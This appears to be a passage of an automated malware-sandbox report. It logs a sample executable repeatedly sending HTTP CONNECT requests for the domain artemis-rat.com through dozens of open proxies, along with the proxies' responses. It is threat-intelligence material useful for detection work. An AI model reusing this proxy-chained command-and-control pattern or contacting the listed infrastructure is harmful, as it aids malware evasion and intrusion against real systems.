Mar 11, 2024 03:30:46.232343912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1835	192.168.2.5	55032	208.109.14.49	11426	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.235541105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1836	192.168.2.5	54379	192.99.207.129	13003	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.235948086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.404937029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1837	192.168.2.5	55078	75.119.145.154	7505	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.285281897 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.092689037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.092864037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.905265093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.592618942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.201941967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.904973030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1838	192.168.2.5	54979	109.194.22.61	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.285672903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1839	192.168.2.5	55075	46.101.179.49	3129	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.286345959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.083182096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.014666080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.014609098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.717869043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.343377113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:01.014370918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1840	192.168.2.5	54344	51.222.241.157	36363	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.290095091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.405093908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.508866072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.514646053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1841	192.168.2.5	54380	189.240.60.164	9090	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.292401075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.569437981 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1842	192.168.2.5	53486	135.148.10.161	51507	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.314431906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.933489084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.681910992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1843	192.168.2.5	53407	138.2.73.157	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.321873903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1844	192.168.2.5	53385	148.72.206.84	14815	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.330847025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1845	192.168.2.5	55108	195.248.243.149	7237	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.331408978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.083230972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1846	192.168.2.5	55086	101.133.175.251	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.332768917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.650299072 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1847	192.168.2.5	54988	103.182.112.11	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.334135056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.201996088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.487344027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.989512920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.306721926 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1848	192.168.2.5	55145	172.67.182.85	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.341432095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.495811939 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1849	192.168.2.5	55147	104.19.5.247	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.341674089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.496299982 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1850	192.168.2.5	55074	62.33.53.248	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.341902018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.737667084 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1851	192.168.2.5	55083	45.11.95.166	6014	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.364449978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.083447933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.843261957 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1852	192.168.2.5	55143	23.94.214.8	9054	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.364850044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.706516981 CET	34	IN	HTTP/1.1 503 Service Unavailable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1853	192.168.2.5	54201	109.238.181.53	8083	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.365632057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.405160904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.807801008 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 718 Content-Type: text/html Date: Mon, 28 Aug 1972 02:44:33 GMT Expires: Mon, 28 Aug 1972 02:44:33 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1854	192.168.2.5	54976	103.166.39.17	3629	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.366590977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1855	192.168.2.5	55110	154.12.178.107	29985	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.399254084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1856	192.168.2.5	54316	51.89.173.40	20435	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.407978058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1857	192.168.2.5	54339	51.75.125.208	2736	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.409012079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.083405972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.014702082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.014609098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.717869043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.475100040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:01.205236912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1858	192.168.2.5	55138	38.162.15.162	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.410212994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
